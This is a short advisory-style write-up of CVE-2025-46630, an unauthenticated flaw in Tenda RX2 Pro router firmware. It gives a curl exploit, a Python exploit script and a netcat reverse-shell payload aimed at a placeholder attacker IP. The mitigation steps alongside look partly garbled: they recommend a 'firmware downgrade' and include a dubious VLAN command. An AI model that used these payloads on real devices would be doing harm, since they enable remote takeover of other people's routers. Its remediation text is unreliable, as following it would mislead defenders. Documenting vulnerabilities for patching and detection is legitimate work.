How CVE-2025-46630 Works
The vulnerability exists in the web management portal of Tenda RX2 Pro firmware version 16.03.30.14 due to improper access controls. An unauthenticated attacker can remotely enable the ‘ate’ binary (a system management tool) by sending a crafted HTTP request to /goform/ate. This bypasses authentication, allowing unauthorized execution of privileged commands. The ‘ate’ binary provides low-level system access, potentially leading to full device compromise, configuration manipulation, or further network exploitation.
DailyCVE Form
Platform: Tenda RX2 Pro
Version: 16.03.30.14
Vulnerability: Unauthenticated RCE
Severity: Critical
Date: 05/27/2025
Prediction: Patch by 07/15/2025
What Undercode Say:
Exploitation
curl -X POST http://<Tenda_IP>/goform/ate -d "enable=1"
Exploit script (Python):
import requests
target = "http://192.168.1.1"
response = requests.post(f"{target}/goform/ate", data={"enable": "1"})
if response.status_code == 200:
print("[+] ate enabled")
Mitigation
1. Block unauthorized access to `/goform/ate` via firewall:
iptables -A INPUT -p tcp --dport 80 -m string --string "/goform/ate" --algo bm -j DROP
2. Disable web management if unused:
uci set httpd.enable=0 && uci commit
3. Firmware downgrade to a secure version.
Detection
Check logs for suspicious requests:
grep "/goform/ate" /var/log/httpd.log
Reverse Shell Payload
If ‘ate’ allows command injection:
curl -X POST http://<Tenda_IP>/goform/ate -d "cmd=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+<ATTACKER_IP>+<PORT>+>/tmp/f"
Patch Verification
After update, confirm fix:
curl -v http://<Tenda_IP>/goform/ate Expected: 403 Forbidden
Network Isolation
Segment affected devices:
vlan add dev eth0 id 666
